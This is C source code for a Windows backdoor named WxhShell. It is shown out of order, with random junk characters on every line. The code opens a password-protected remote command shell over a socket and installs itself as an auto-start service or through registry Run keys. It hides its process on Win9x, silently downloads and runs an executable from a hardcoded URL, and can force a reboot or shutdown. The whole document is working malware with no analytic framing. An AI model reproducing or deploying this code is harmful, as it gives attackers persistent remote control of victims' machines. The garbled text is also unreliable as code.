  case 'd': { 9IacZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uw`J5TND  
    if(Boot(SHUTDOWN)) 1vq c8lC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;H]]H!  
    else { />7G  
    closesocket(wsh); UVsF !0  
    ExitThread(0); fnFI w=d  
    } Oek$f,J-  
    break; `YBHBTG'o!  
    } `#j;\  
  // 获取shell H]M[2C7#N  
  case 's': { nQfSQMg  
    CmdShell(wsh); ytfr'sr/  
    closesocket(wsh); M=EV^Tw-=  
    ExitThread(0); Of<Vr.m{R  
    break; A2`Xh#o  
  } rC,ZRFF  
  // 退出 #g1,U7vv8  
  case 'x': { ),-MrL8c%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _M- PF$  
    CloseIt(wsh); i*+N[#yp  
    break; C}:_&^DQ  
    } i[vOpg]J  
  // 离开 Dd)L~`k{)  
  case 'q': { NnY+=#j7L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O tR  
    closesocket(wsh); T{F 'Y%  
    WSACleanup(); U-q:Y-h  
    exit(1); 5j5} c`:  
    break; Y}r UVn  
        } 8J2U UVA`1  
  } /86PqKU(P  
  } 1f2*S$[*L  
i | *r/  
  // 提示信息 -TNb=2en(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Bhs8eGr3  
} #[~f 6s9D  
  } }SS~uQ;8  
,mt=)Ac  
  return; "Y=4Y;5q  
} 3rx 8"  
 ;W@  
// shell模块句柄 !q^2| %  
int CmdShell(SOCKET sock) A$::|2~  
{ ;7mE%1X  
STARTUPINFO si; v-B&"XGy:  
ZeroMemory(&si,sizeof(si)); x J\>;$CY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v)v`896S`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j[:Iu#VR  
PROCESS_INFORMATION ProcessInfo; &W>%E!F  
char cmdline[]="cmd"; @dvb%A&Pur  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .;;:t0PB  
  return 0; s{0c.M  
} WiF6*]oI  
|'Ksy{lA  
// 自身启动模式 nh/%0=S  
int StartFromService(void) '77Gg  
{ T K Ec ^  
typedef struct l3YS_WBSn  
{ OH`|aqN  
  DWORD ExitStatus; zj#8@gbh+  
  DWORD PebBaseAddress; c7 O$< F  
  DWORD AffinityMask; 5 r&n  
  DWORD BasePriority; %I%OHs  
  ULONG UniqueProcessId; \7 *"M y*  
  ULONG InheritedFromUniqueProcessId; qW9~S0sl  
}   PROCESS_BASIC_INFORMATION; *<ww~^a  
4@Xd(F_d  
PROCNTQSIP NtQueryInformationProcess; j\uPOn8k  
>s>{+6e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dpB\=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x I(X+d``  
Y;>D"C..  
  HANDLE             hProcess; PO]c&}/  
  PROCESS_BASIC_INFORMATION pbi; o/I`L  
*|3G"B{w6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dZ,~yV  
  if(NULL == hInst ) return 0; tP|ox]  
Xm~N Bt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %j;mDR9 5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K,f- w2!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VNxhv!w  
h`V#)Q  
  if (!NtQueryInformationProcess) return 0; i0{sE  
b|u0a6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q,.@<sW  
  if(!hProcess) return 0; QfI@=Kbg%#  
 <4 D.H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~x g#6%<=  
RH0J#6C/  
  CloseHandle(hProcess); =(p]L  
dC 8,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,<]~/5-f  
if(hProcess==NULL) return 0; =~'{2gsB  
o=I.i>c  
HMODULE hMod; C dTE~O<)  
char procName[255]; &u9@FFBT8  
unsigned long cbNeeded; n~?n+\.&a  
Aiqn6BX{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G!5~`v  
]Jx_bs~g  
  CloseHandle(hProcess); =g$>]AE  
}/.GB5Ej  
if(strstr(procName,"services")) return 1; // 以服务启动 [> LL  
sx@ %3j  
  return 0; // 注册表启动 }\ hz@G<  
} p JM&R<i:  
`(lD]o{,s  
// 主模块 fz W!-  
int StartWxhshell(LPSTR lpCmdLine) DkeFDzQ5  
{ E6s)J -a  
  SOCKET wsl; DY8w\1g"  
BOOL val=TRUE; tZ_D.syBAc  
  int port=0; B1(T-pr  
  struct sockaddr_in door; 7uxUqM  
@ wx  
  if(wscfg.ws_autoins) Install(); V-w{~  
Y]: Ch (Q  
port=atoi(lpCmdLine); |&AZ95v   
9"b  =W@  
if(port<=0) port=wscfg.ws_port; ^y<8 &ZFH  
6"u"B-cz  
  WSADATA data; ,?`Zrxe[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3s$vaV~(a  
-=a,FDeR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nn{PhyK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _?c7{  
  door.sin_family = AF_INET; 4-~S"T8<u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); roHJ$~q?  
  door.sin_port = htons(port); oS#PBql4  
noQS bI @  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ql{:H5  
closesocket(wsl); h0;R*c  
return 1; }MW+K&sIh  
} GfL: 0  
NRDXWscb  
  if(listen(wsl,2) == INVALID_SOCKET) { -~WDv[ [  
closesocket(wsl); J6RzN'j  
return 1; ,^uQw/  
} Q> J9M` a  
  Wxhshell(wsl); wlw`%z-B2  
  WSACleanup(); yp"h$  
_j}jh[M  
return 0; rqz`F\A;%  
n1;zml:7_  
} ) S,f I  
,V.Bzf%=O  
// 以NT服务方式启动 =RjseTS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K%WG[p\Eu  
{ Q ?R3aJ  
DWORD   status = 0; \,-e>  
  DWORD   specificError = 0xfffffff; v&8s>~i`K  
#(G"ya  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pRGag~h|E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Oe"nNvu/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (svKq(X  
  serviceStatus.dwWin32ExitCode     = 0; .r\|9 *j<  
  serviceStatus.dwServiceSpecificExitCode = 0; /xw}]Fa5  
  serviceStatus.dwCheckPoint       = 0; G:i>MJbxT  
  serviceStatus.dwWaitHint       = 0;  r74' _y  
MWJ}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e^yfoE<7  
  if (hServiceStatusHandle==0) return; b&2 N7%  
{YF(6wVl  
status = GetLastError(); J *;= f8  
  if (status!=NO_ERROR) 57[tUO  
{ xt1Ug~5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .njk^,N  
    serviceStatus.dwCheckPoint       = 0; H_>9'(  
    serviceStatus.dwWaitHint       = 0; LW!>_~g-  
    serviceStatus.dwWin32ExitCode     = status; %abc -q  
    serviceStatus.dwServiceSpecificExitCode = specificError; v?(z4oOD/>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ff&kK5} q  
    return; ]\(Ho  
  } \IO<V9^L  
XWag+K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L*(`c cU  
  serviceStatus.dwCheckPoint       = 0; G|.6%-  
  serviceStatus.dwWaitHint       = 0; #&K?N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ox9M![fC  
} PpezWo)9  
!Wz4BBU8o  
// 处理NT服务事件,比如:启动、停止 ^5rB/y,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _t?#  
{ dry>TXG*  
switch(fdwControl) fxknfgbg  
{ UT_kw}1o  
case SERVICE_CONTROL_STOP: ,ut7`_Fy  
  serviceStatus.dwWin32ExitCode = 0; #MUY!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; : 22)` ;0  
  serviceStatus.dwCheckPoint   = 0; QzVoU |  
  serviceStatus.dwWaitHint     = 0; l- $5CO  
  { U<I]_]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t 09-y  
  } ?.^n,[2  
  return; l4*vM  
case SERVICE_CONTROL_PAUSE: _0"s6D$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bi[g4,`Z;  
  break; @|D#lBm  
case SERVICE_CONTROL_CONTINUE: 1 RVs!;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d'@i8N["{  
  break; 00/ RBs 5  
case SERVICE_CONTROL_INTERROGATE: W0XfU`  
  break; Q!70D)O$  
}; $;Z0CG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .~X&BY>qP  
} KW(^-:wmr  
oaG;i51!  
// 标准应用程序主函数 5QP`2I_n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &[P(}??Y\  
{ jwmPy)X|s\  
TgA>(HcO  
// 获取操作系统版本 _o? I=UN2:  
OsIsNt=GetOsVer(); `t3w|%La}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LjCUkbzQF  
rqz48~\lJ  
  // 从命令行安装 zE+^WeH|  
  if(strpbrk(lpCmdLine,"iI")) Install(); =rA]kGx  
[@Mo3]#\  
  // 下载执行文件 m>djoe  
if(wscfg.ws_downexe) { @]etW>F_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^ddC a  
  WinExec(wscfg.ws_filenam,SW_HIDE); W:hTRq  
} lJdrrR)wg  
ai"N;1/1O|  
if(!OsIsNt) { 8Y [4JXUK  
// 如果时win9x,隐藏进程并且设置为注册表启动 v^aI+p6  
HideProc(); 9XmbHS[0V  
StartWxhshell(lpCmdLine); pgBIYeY,  
} YRQ?:a{H  
else ,*8)aZ1 k  
  if(StartFromService()) gO#%*  W  
  // 以服务方式启动 F},kfCFF  
  StartServiceCtrlDispatcher(DispatchTable); kgd dq  
else B]I*ymc#  
  // 普通方式启动 {t|Q9&  
  StartWxhshell(lpCmdLine); C5Mpm)-%  
2=,d.1E3d  
return 0; ;gLOd5*0  
} |lN=q44I  
L@.Trso  
)JY#8,{w  
d2fiPI7lg  
=========================================== oiOu169]  
iUq_vQ@} }  
(_AU)  
z9w]{Zd_,d  
NIHcX6Nw  
ZEs^b  
" m -0}Pe9L  
mQ3gp&d3W  
#include <stdio.h> sl`?9-_[  
#include <string.h> ~( :$c3\  
#include <windows.h> KQ ^E\,@o  
#include <winsock2.h> b^A7R{G7  
#include <winsvc.h> 2 SU  
#include <urlmon.h> Bf;<3k)5.  
^UBzX;|p  
#pragma comment (lib, "Ws2_32.lib") ~:*V'/2k  
#pragma comment (lib, "urlmon.lib") #vc!SI  
@ 6*eS+t\  
#define MAX_USER   100 // 最大客户端连接数 3zv0Nwb,  
#define BUF_SOCK   200 // sock buffer *;T'=u_lR  
#define KEY_BUFF   255 // 输入 buffer f#-\*  
B<ZCuVWH:  
#define REBOOT     0   // 重启 D;z!C ys  
#define SHUTDOWN   1   // 关机 qe/5'dw  
u q A!#E  
#define DEF_PORT   5000 // 监听端口 zXk^u gFy  
|@VhR(^O$  
#define REG_LEN     16   // 注册表键长度 $."F z x  
#define SVC_LEN     80   // NT服务名长度 /#j)GlNp:  
`5n^DP*X  
// 从dll定义API SeuDJxqopD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %Vfr#j$=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 58R.`5B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2OjU3z<J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "]W,,A-  
`Om W#\  
// wxhshell配置信息 (yoF  
struct WSCFG { (a"/cH  
  int ws_port;         // 监听端口 @2`nBtk  
  char ws_passstr[REG_LEN]; // 口令 ng9 _c  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wu/:ES)C  
  char ws_regname[REG_LEN]; // 注册表键名 `|mV~F|  
  char ws_svcname[REG_LEN]; // 服务名 z\YLO%Mm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mm!;+bM%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 op3a*KG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uQKo2B0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QcX&q%*0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wbI1~/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AmJdZs|/  
J+wnrGoK  
}; "LH3ZPD  
?xuWha@:  
// default Wxhshell configuration :w)9 (5  
struct WSCFG wscfg={DEF_PORT, di7cCn  
    "xuhuanlingzhe", kOC0d,  
    1, -j1]H"-  
    "Wxhshell", *?A!`JpJn  
    "Wxhshell", 'j!n   
            "WxhShell Service", ]W5p\(1g  
    "Wrsky Windows CmdShell Service", A\v53AT  
    "Please Input Your Password: ", dF5y' R'  
  1, >_$_fB  
  "http://www.wrsky.com/wxhshell.exe", [zSt+K;  
  "Wxhshell.exe" PEaZ3{-  
    }; +G+1B6S  
7Hj7b:3K&!  
// 消息定义模块  bDD29  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E33WT{H&_'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 0EH~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y1[@4TY]  
char *msg_ws_ext="\n\rExit."; 2B5Ez,'#x  
char *msg_ws_end="\n\rQuit."; o_5[}d  
char *msg_ws_boot="\n\rReboot..."; c2L\m*^o  
char *msg_ws_poff="\n\rShutdown..."; !#W3Q  
char *msg_ws_down="\n\rSave to "; B ]sVlbt  
M.bkFuh  
char *msg_ws_err="\n\rErr!"; PDLps[a  
char *msg_ws_ok="\n\rOK!"; jv6>7@<G  
74&{GCL  
char ExeFile[MAX_PATH]; "'/+}xM"5  
int nUser = 0; ;P$ _:-C  
HANDLE handles[MAX_USER]; qn'TIE.  
int OsIsNt; ab#z&jg!  
BB_(!omq[  
SERVICE_STATUS       serviceStatus; jy_4W!4a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C0 /G1\  
='@ k>Ka+  
// 函数声明 d= ?lPEzSA  
int Install(void); Z?WVSJUVf  
int Uninstall(void); s(e1kk}"  
int DownloadFile(char *sURL, SOCKET wsh); Fc=6 *.hy  
int Boot(int flag); 7]~|dc(  
void HideProc(void); <9T,J"y  
int GetOsVer(void); {,?Gj@$  
int Wxhshell(SOCKET wsl); (y1S*_D  
void TalkWithClient(void *cs); KHGUR(\Rd6  
int CmdShell(SOCKET sock); Hs{x Z:  
int StartFromService(void); tu/4  
int StartWxhshell(LPSTR lpCmdLine); FlY"OU*  
2fNNdxdbT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,?`kYPZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ly6 dl  
[Dmf.PUe  
// 数据结构和表定义 n xR\tBv  
SERVICE_TABLE_ENTRY DispatchTable[] = +q+JOS]L  
{ e E(+  
{wscfg.ws_svcname, NTServiceMain}, 0QxBC7` qp  
{NULL, NULL} &}K%F)S  
}; if3z Fh  
}J2f$l>R  
// 自我安装 q(4Ny<=,'K  
int Install(void) .u`A4;;Gw  
{ {xOzxLB;  
  char svExeFile[MAX_PATH]; }SyK)W5Y  
  HKEY key; THB[(3q  
  strcpy(svExeFile,ExeFile); zU!d(ge.E  
7!)VO D8Z  
// 如果是win9x系统,修改注册表设为自启动 PYzTKjw  
if(!OsIsNt) { cr?ZXu_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { edZBQmx+#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %(H' j@D[  
  RegCloseKey(key); ^NM>x Ienf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F+j"bhe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B~J63Os/  
  RegCloseKey(key); @;KvUR/+FE  
  return 0; Dz/MIx  
    } 5PP^w~n  
  } 8*|*@  
} Dtyw]|L\H  
else { 8i<]$  
c?aOX/C'  
// 如果是NT以上系统,安装为系统服务 3Jq GLR`z3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &PFq(4  
if (schSCManager!=0) zAev@+.ld  
{ 91DevizXx  
  SC_HANDLE schService = CreateService z46Sh&+  
  ( } :gi<#-:G  
  schSCManager, [HQ/MkP-Z  
  wscfg.ws_svcname, }_H\ 75Iv  
  wscfg.ws_svcdisp, %?F$3YN,  
  SERVICE_ALL_ACCESS, kf#S"[/E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NzN"_ojM  
  SERVICE_AUTO_START, Zv?"1Y< L  
  SERVICE_ERROR_NORMAL, y{~tMpo<  
  svExeFile, I|;C} lfp  
  NULL, W7{^/s5r  
  NULL, B|{E[]iK  
  NULL, VW;E14  
  NULL, M a3}w-=;  
  NULL H6Gs&yk3  
  ); h##U=`x3  
  if (schService!=0) dP>FXgY  
  { gv i!|!M=  
  CloseServiceHandle(schService); # @7 I  
  CloseServiceHandle(schSCManager); g_?Q3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )n[=)"rf  
  strcat(svExeFile,wscfg.ws_svcname); -3 "<znv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g1]bI$;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QjYw^[o  
  RegCloseKey(key); %;<g!Vw.k  
  return 0; L|;sB=$'{  
    } ZF8`= D`:R  
  } !DHfw-1K  
  CloseServiceHandle(schSCManager); P^U.VXY}  
} -8d z`o}  
} pd.unEWwF  
)h{+pK  
return 1; kpNp}b8']  
} tZFpxyF  
'Asr,[]?  
// 自我卸载 0F%?< : &  
int Uninstall(void) yL -}E  
{ O`aNNy  
  HKEY key; d<WNN1f  
o` dQ  
if(!OsIsNt) { s I09X6)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Zkk14  
  RegDeleteValue(key,wscfg.ws_regname); @gM}&G08  
  RegCloseKey(key); PzhC *" i}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2U"2L^oKI  
  RegDeleteValue(key,wscfg.ws_regname); :JZV=@<T  
  RegCloseKey(key); 9E0x\%2K  
  return 0; FU.?n)P  
  } I[w5V;>*  
} 8!@}\6qM  
} *O\lR-z!k  
else { SUW=-M  
x3.,zfWs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j *;.>akY7  
if (schSCManager!=0) }z|9F(I   
{ N[v=;&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nHp(,'R/  
  if (schService!=0) ,mC=MpfzJ  
  { 4I|pkdF_  
  if(DeleteService(schService)!=0) { DF gM7if  
  CloseServiceHandle(schService); 8U4In[4  
  CloseServiceHandle(schSCManager); F" 4;nU  
  return 0; j |o&T41  
  } :uC9 #H"b  
  CloseServiceHandle(schService); S/RChg_L5  
  } (Jk[%_b>_  
  CloseServiceHandle(schSCManager); b)E<b{'W  
}  o|#F@L3i  
} -(ST   
#hMkajG  
return 1; GaL UZviJ_  
} 9\=SG"e(  
cqW(9A|8  
// 从指定url下载文件 UnEgsf N  
int DownloadFile(char *sURL, SOCKET wsh) !41"`D!1  
{ p{ ``a=  
  HRESULT hr; GCv1x->  
char seps[]= "/"; _>?.MUPB  
char *token; Pf?15POg&B  
char *file; 4?[1JN>  
char myURL[MAX_PATH]; joZd  
char myFILE[MAX_PATH]; 4Tx.|   
o)DO[  
strcpy(myURL,sURL); V7O7"Q^q  
  token=strtok(myURL,seps); /^bU8E&^M  
  while(token!=NULL) n[# **s  
  { 7VWy1  
    file=token; V?p`rrj@  
  token=strtok(NULL,seps); j'hWhLax  
  } I:YgKs)[  
J8Vzf$t};  
GetCurrentDirectory(MAX_PATH,myFILE);  acQHqR  
strcat(myFILE, "\\"); jB0Ts;5  
strcat(myFILE, file); _{eA8J(A<  
  send(wsh,myFILE,strlen(myFILE),0); G-;EB  
send(wsh,"...",3,0); mG0_&'"YIG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m&be55M;  
  if(hr==S_OK) 3"k n5)x  
return 0; ^=PY6!iW  
else P:3o}CB1I  
return 1; {y%@1q%"  
5@I/+D  
} "}H2dn2n  
gFfKK`)}D'  
// 系统电源模块 \ Z5160  
int Boot(int flag) v-Q>I5D;:  
{ $+Z2q<UT  
  HANDLE hToken; )e6sg]#  
  TOKEN_PRIVILEGES tkp; *~b~y7C  
j#Lj<jX!xR  
  if(OsIsNt) { FP*kA_z$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FT-=^VA\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b.kV>K"X3  
    tkp.PrivilegeCount = 1; |B64%w>Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 036QV M$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bqx2lQf,_  
if(flag==REBOOT) { HEhBOER?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )p:+!sX(  
  return 0; _Vt(Eg_\  
} I9`ZK2S  
else { \g)?7>M|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t%f>*}*P*  
  return 0; sb?!U"v.'  
} ,Z! I^  
  } A:pD:}fm}D  
  else { ?.beN[X  
if(flag==REBOOT) { h|lH`m^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yT='V1  
  return 0; >Ad`_g6Wew  
} ,Ik~E&Ku2'  
else { r)Ml-r =  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _u6MSRX[6$  
  return 0; iU3PlF[B/o  
} RUVrX`u*(  
} e#F3KLSL`  
6BEDk!  
return 1; MIWc @.i2  
} >xsY"N&1i'  
Hc8!cATQk  
// win9x进程隐藏模块 J6rWe  
void HideProc(void) jtE'T}!d  
{ R4$(NNC+/  
&yOl}?u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T\:*+W37  
  if ( hKernel != NULL ) aMJ2bu  
  { Xh/BVg7$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \pSRG=`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (*V!V3E3#  
    FreeLibrary(hKernel); ]6O(r)k  
  } (<}?}{YX0  
ZW@cw}  
return; Ol|fdQ  
} CLJn+Y2  
4p6T0II_$  
// 获取操作系统版本 M &H,`gm  
int GetOsVer(void) c%+uji6  
{ IH5^M74b  
  OSVERSIONINFO winfo; d5R2J:dI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Q;:nVt  
  GetVersionEx(&winfo); ,\d03wha  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eW}-UeT  
  return 1; uX&h~qE/  
  else lZ <D,&  
  return 0; pigu]mj  
} If8 ^  
wu b7w#  
// 客户端句柄模块 Be<bBKQb  
int Wxhshell(SOCKET wsl) `49!di[  
{ 3Ljj|5.q  
  SOCKET wsh; ^BW8zu@=O  
  struct sockaddr_in client; wgq=9\+&  
  DWORD myID; wnQi5P+  
s*eM}d.p  
  while(nUser<MAX_USER) ,_=LV  
{ Z^mQb2e.  
  int nSize=sizeof(client); /BhP`a%2Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'GO *6$/  
  if(wsh==INVALID_SOCKET) return 1; Ke~!1S8=  
ZZfi,0R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N.SV*G @  
if(handles[nUser]==0) rL?{+S]&^)  
  closesocket(wsh); n0%S: (  
else 3x z z* <  
  nUser++; o? K>ji!  
  } ]"j%:fr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); */$]kE  
(Fq]y5  
  return 0; oU*e=uehj  
} (#>Q#Izr  
,jD-fL/:  
// 关闭 socket .f!:@fX>=  
void CloseIt(SOCKET wsh) 47A[-&y*X  
{ j)juvat  
closesocket(wsh); 57;( P  
nUser--; ]5MT-qU  
ExitThread(0); h///  
} Mt%Q5^  
I7t}$ S6  
// 客户端请求句柄 Qkw_9  
void TalkWithClient(void *cs) _p9 _Pg8  
{   &._Mh  
Kf)$/W4  
  SOCKET wsh=(SOCKET)cs; DQ0 UY  
  char pwd[SVC_LEN]; pK/RkA1  
  char cmd[KEY_BUFF]; yWr &G@>G  
char chr[1]; r"\<+$ 7  
int i,j; GW%!?mJ  
-Q ];o~  
  while (nUser < MAX_USER) { Vn_>c#B  
WM=)K1p0u  
if(wscfg.ws_passstr) { OGq=OW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L[Wi[S6=)g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FEBRUk6.h  
  //ZeroMemory(pwd,KEY_BUFF); +j$nbU0U  
      i=0; k9VWyq__  
  while(i<SVC_LEN) { ]J/;Xp  
6k+tO%{~  
  // 设置超时 V=Bmpg  
  fd_set FdRead; {`Mb),G  
  struct timeval TimeOut; )]m4FC:  
  FD_ZERO(&FdRead); Uf?+oc'{  
  FD_SET(wsh,&FdRead); ?3v-ppw%  
  TimeOut.tv_sec=8; QPvWdjf#mM  
  TimeOut.tv_usec=0; )[yKO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I^D*) z   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f&&Ao  
C?6q ]k]r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -:b<~S[  
  pwd=chr[0]; 2t=&h|6EW  
  if(chr[0]==0xd || chr[0]==0xa) { 2{g&9  
  pwd=0; LVL#qNIu  
  break; : >$v@d  
  } X 3ZKN;  
  i++; EvA8<o  
    } " ;\EU4R  
+hH7|:JQ  
  // 如果是非法用户,关闭 socket ]a:T]x6'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A!$sO p  
} j1ap,<\.k  
a"k,x-EL(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ct3+ga$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "# Q"gC.K  
ER4#5gd  
while(1) { 7EL0!:Pp3  
X'2%'z<  
  ZeroMemory(cmd,KEY_BUFF); @Qqf4 h  
CwO$EL:[`  
      // 自动支持客户端 telnet标准   )>;387'Y  
  j=0; ~4ijiw$  
  while(j<KEY_BUFF) { >R\@W(-g`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nvd(Tad  
  cmd[j]=chr[0]; fRzJiM{  
  if(chr[0]==0xa || chr[0]==0xd) { T+!0`~`  
  cmd[j]=0; s>TC~d82  
  break; ;\T~Hc}&;  
  } u(`7F(R  
  j++; e.!~7c_z?  
    } W,nn,%  
F5w=tK  
  // 下载文件 =[gFaB_H  
  if(strstr(cmd,"http://")) { V:gXP1P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H Ds8M  
  if(DownloadFile(cmd,wsh)) :"+3Uk2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *kJa$3*r  
  else QxBH{TG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ya;(D 8x)  
  } q+XU Cnv  
  else { /j\.~=,_  
` ^z l =  
